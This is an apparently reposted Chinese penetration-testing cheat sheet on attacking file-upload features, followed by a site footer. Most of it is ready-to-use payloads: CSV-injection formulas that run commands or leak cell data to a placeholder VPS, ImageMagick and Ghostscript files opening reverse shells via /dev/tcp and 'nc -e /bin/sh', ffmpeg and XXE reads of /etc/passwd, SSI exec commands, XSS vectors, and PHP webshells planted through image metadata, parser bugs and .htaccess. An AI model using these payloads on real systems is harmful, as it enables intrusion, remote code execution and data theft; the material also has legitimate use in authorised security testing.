渗透测试中文件上传技巧

栏目: 后端 · 前端 · 发布时间: 5年前

内容简介:根据语言、解析漏洞、中间件、系统特性以及一些绕过WAF的方法:黑名单、大小写、ADS流、截断、空格、长度、htaccess等生存文件名字典。Gayhub:比较老了,学习下也没啥坏处

根据语言、解析漏洞、中间件、系统特性以及一些绕过WAF的方法:黑名单、大小写、ADS流、截断、空格、长度、htaccess等生存文件名字典。

Gayhub: https://github.com/c0ny1/upload-fuzz-dic-builder

上传excel文档进行CSV注入

比较老了,学习下也没啥坏处

=cmd|'/c calc'!A0
=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c calc.exe'!''
=HYPERLINK("http://vpsip?test="&A2&A3,"Error: Please click me!")

上传excel、word进行xxe

修改word、excel解压之后xml文件,加入payload

Gayhub: https://github.com/BuffaloWill/oxml_xxe

在线生成: https://buer.haus/xxegen/

上传mp4/avi利用ffmpeg文件读取/SSRF

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://xx.oo/header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST

上传imagemagic文件进行命令执行

push graphic-context
viewbox 0 0 640 480
fill 'url(https://oo.xx/1.jpg"|bash -i >& /dev/tcp/127.0.0.1/2233 0>&1")'
pop graphic-context

上传Ghostscript文件进行命令执行

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%$(nc -e /bin/sh 127.0.0.1 2333)) currentdevice putdeviceprops

上传svg文件进行ssrf

<?xm l version="1.0"encoding="UTF-8"standalone="no"?><svgxmlns:svg="http://www.w3.org/2000/svg"xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink"width="200"height="200"><imageheight="30"width="30"xlink:href="http://vps_ip.:2333/"/></svg>

上传svg文件进行xss

"><svgxmlns="http://www.w3.org/2000/svg"onload="alert(document.domain)"/>"><svg/onload=document.write(document.location)>

上传webp后缀进行文件进行xss

容器无法处理原因,其他后缀同理

<html>
<body>
<script>alert('XSS')</script>
<embedcode="javascript:alert(1)"invokeurls="false"allownetworking="none"allowscriptaccess="never"loop="false"menu="false"play="false"type="application/x-shockwave-flash">
<IMGSRC=javascript:alert("XSS")>
</html>
</body>

上传shtml进行SSI

<html>
<body>
<embedcode="javascript:alert(1)"invokeurls="false"allownetworking="none"allowscriptaccess="never"loop="false"menu="false"play="false"type="application/x-shockwave-flash">
<!--#exec cmd="/bin/ls /" --><br/>
<!--#exec cmd="cat /etc/passwd" --><br/>
<!--#exec cmd="find / -name *.* -print" --><br/>
</html>
</body>

上传html,phtml等进行XSS

<html>
<body>
<script>alert('XSS')</script>
<embedcode="javascript:alert(1)"invokeurls="false"allownetworking="none"allowscriptaccess="never"loop="false"menu="false"play="false"type="application/x-shockwave-flash">
<IMGSRC=javascript:alert("XSS")>
</html>
</body>

对上传文件进行导出excel的地方插入payload进行csv注入

=cmd|' /C id'!A0
@cmd|'/C id'!A0

上传文件时如果转换时比如转成PDF等文件,尝试在上传文件中加入payload进行SSRF

<iframesrc="file:///etc/passwd"width=400height=400/>
<iframesrc="file:///c:/windows/win.ini"width=400height=400/>
"><svg/onload=document.write(document.location)>

文件上传时,修改正在上传中的 input type 为URL,尝试SSRF

<inputtype="file"id="upload_file"name="upload_file[]"class="file"size=1multiple="">

改成

<inputtype="url"id="upload_file"name="upload_file[]"class="file"size=1multiple="">
<?xml version="1.0"encoding="UTF-8"standalone="no"?><svgxmlns:svg="http://www.w3.org/2000/svg"xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink"width="200"height="200"><imageheight="30"width="30"xlink:href="http://vpsip:2333/"/></svg>

上传文件名XSS

<imgsrc=xonerror=alert(1)>.png
"><imgsrc=xonerror=alert(1)>.png
"><svgonmouseover=alert(1)>.svg

上传图片里面注入Code

exiv2 -c'A "<?php system($_REQUEST['cmd']);?>"!' backdoor.jpeg
exiftool "-comment<=back.php" back.png

图片属性XSS

exiftool -Artist='"><img src=1 onerror=alert(1)>' poc.jpeg

上传文件名 SQL 注入

move_uploaded_file()上传文件时,把文件名更改为语句,可能会存在xss或者sql注入

IIS 7.0/IIS 7.5/ Nginx <8.03 畸形解析漏洞

Nginx在默认Fast-CGI开启状况下,上传一个名字为 poc.jpg ,内容为:

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

的文件,然后访问poc.jpg/.php,在这个目录下就会生成一句话木马 shell.php

Apache解析漏洞

上传的文件命名为

test.php.x1.x2.x3 # Apache是从右往左判断后缀

Windows系统特性

在windows环境下, xx.php[空格]xx.php. 这类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,可以通过抓包,在文件名后加一个空格或者点绕过黑名单。

上传 .htaccess 文件

如果在Apache中 .htaccess 可被执行.且可被上传.那可以尝试在 .htaccess 中写入:

<FilesMatch "shell.jpg"> SetHandler application/x-httpd-php </FilesMatch>
或者
AddType application/x-httpd-php .png

Windows下利用ADS流上传文件

上传文件名为: 1.php::$data

IIS6截断

分号截断asp.asp;asp.jpg

双文件上传

filename="a.txt";filename="a.php"

JSON利用

参数中有存在json字符串,可以利用fastjson、jackson等漏洞利用

JSON数据包可以改成xml格式测试xxe漏洞

application/json 改成 application/xml

<?xml version="1.0"encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/passwd">]>
<root>&file;</root>

上传PDF文件进行URL跳转

PDF->页面属性->动作->打开网络链接->添加

上传目录可控,进行文件覆盖

使用 ../ 进行目录切换

如有错误或不足,欢迎大佬不吝指正、补充。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

深入浅出Node.js

深入浅出Node.js

朴灵 / 人民邮电出版社 / 2013-12-1 / CNY 69.00

本书从不同的视角介绍了 Node 内在的特点和结构。由首章Node 介绍为索引,涉及Node 的各个方面,主要内容包含模块机制的揭示、异步I/O 实现原理的展现、异步编程的探讨、内存控制的介绍、二进制数据Buffer 的细节、Node 中的网络编程基础、Node 中的Web 开发、进程间的消息传递、Node 测试以及通过Node 构建产品需要的注意事项。最后的附录介绍了Node 的安装、调试、编码......一起来看看 《深入浅出Node.js》 这本书的介绍吧!

SHA 加密
SHA 加密

SHA 加密工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具